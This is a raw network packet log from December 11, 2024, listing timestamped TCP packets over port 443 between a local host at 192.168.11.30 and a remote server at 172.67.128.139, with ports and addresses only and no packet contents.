Dec 11, 2024 12:15:00.505637884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.505652905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.505805016 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.505805016 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.505805016 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.506455898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.506472111 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.506803036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.506803036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.506803036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.506819010 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.508397102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.508419037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.508563995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.508563995 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.508584976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.508757114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.508757114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.508757114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.508757114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.509002924 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.509188890 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.551327944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.551347017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.598203897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.679372072 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.679378986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.679501057 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.679568052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.679568052 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.679584980 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.679604053 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.679611921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.679833889 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.680336952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.680356979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.680685043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.680685043 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.680700064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.680876017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.681250095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.681266069 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.681410074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.681410074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.681592941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.681592941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.681605101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.681781054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.683005095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.683022976 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.683347940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.683347940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.683347940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.683347940 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.683372021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.683542013 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.684156895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.684176922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.684310913 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.684356928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.684529066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.684540033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.684727907 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.684937000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.685096979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.685096979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.685096979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.685118914 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.686666012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.686686039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.686856031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.686856031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.686875105 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.687021971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.687021971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.687021971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.687021971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.687828064 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.687846899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.688153982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.688153982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.688172102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.688868046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.688883066 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.689024925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.689024925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.689045906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.689218998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.689408064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690520048 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.690541029 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.690809011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690809011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690809011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690809011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690829039 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.690906048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.690906048 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.691248894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.691598892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.691618919 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.692562103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.692580938 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.692920923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.692920923 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.692939997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.693690062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.693705082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.693828106 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.693828106 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.693845987 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.693876028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.694067955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.694067955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.694979906 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.694999933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.695144892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.695167065 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.695342064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.695342064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.695342064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.695342064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.696527958 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.696547985 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.696660042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.696660042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.696892977 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.696908951 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.697644949 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.697665930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.697825909 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.697825909 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.697840929 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.698019028 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.698019981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.698019981 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.699018955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.699035883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.699183941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.699183941 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.699367046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.699367046 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.699388027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.700130939 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.700149059 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.700305939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.700305939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.700305939 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.700321913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.700495958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.700495958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.700665951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.701539993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.701555014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.701703072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.701720953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.701869011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.701869011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.702059984 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.702543020 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.702567101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.702702045 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.702702999 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.702718019 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.702872038 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.703063965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.703063965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704093933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.704113960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.704255104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704255104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704438925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704438925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704438925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704438925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.704458952 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.705329895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.705349922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.705516100 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.705516100 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.705532074 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.705708027 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.705708027 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.706707954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.706724882 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.707050085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.707050085 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.707051039 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.707077026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.707766056 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.707787037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.707916975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.707916975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.707935095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.707963943 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.708127975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.708127975 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.708317041 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.709311962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.709331036 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.709661007 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.709661007 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.709682941 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.709850073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.710447073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.710469007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.710988998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.710988998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.710988998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.710988998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.711011887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.711174011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.711174011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.711801052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.711818933 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.711946964 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.711966991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.712191105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.712191105 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.712961912 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.712982893 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.713126898 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.713143110 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.713320017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.713320017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.713511944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.713511944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.713511944 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.714371920 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.714390993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.714737892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.714737892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.714737892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.714737892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.714755058 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.715353012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.715378046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.715517998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.715517998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.715542078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.715713024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.715713024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717006922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.717024088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.717184067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717184067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717202902 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.717379093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717379093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717379093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717379093 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.717919111 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.717941999 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.718081951 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.718096018 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.718298912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.718298912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.718298912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.718298912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.718298912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.719068050 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.719086885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.719268084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.719268084 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.719448090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.719448090 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.719461918 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.720710993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.720732927 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.720882893 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.720897913 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.721074104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.722141027 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.722158909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.722532034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.722532034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.722532034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.722548962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.722711086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.722711086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.723263979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.723284960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.723608017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.723608017 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.723623991 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.723795891 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.724997997 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.725014925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.725356102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.725356102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.725373983 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.725764990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.725785017 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.726106882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.726106882 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.726128101 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.726886034 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.726903915 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.727066040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.727066040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.727066040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.727087021 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.727263927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.727263927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.727263927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728153944 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.728174925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.728322983 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728341103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.728518963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728518963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728518963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728518963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.728518963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.729825974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.729842901 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.729965925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.729965925 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.729981899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.730014086 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.730210066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.730210066 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.730978012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.730997086 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.731142998 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.731319904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.731321096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.731321096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.731321096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.731336117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.731961012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.731981993 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.732173920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.732173920 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.732189894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:15:00.732239962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.732239962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.732239962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.732430935 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:15:00.733485937 CET	443	49832	172.67.128.139	192.168.11.30
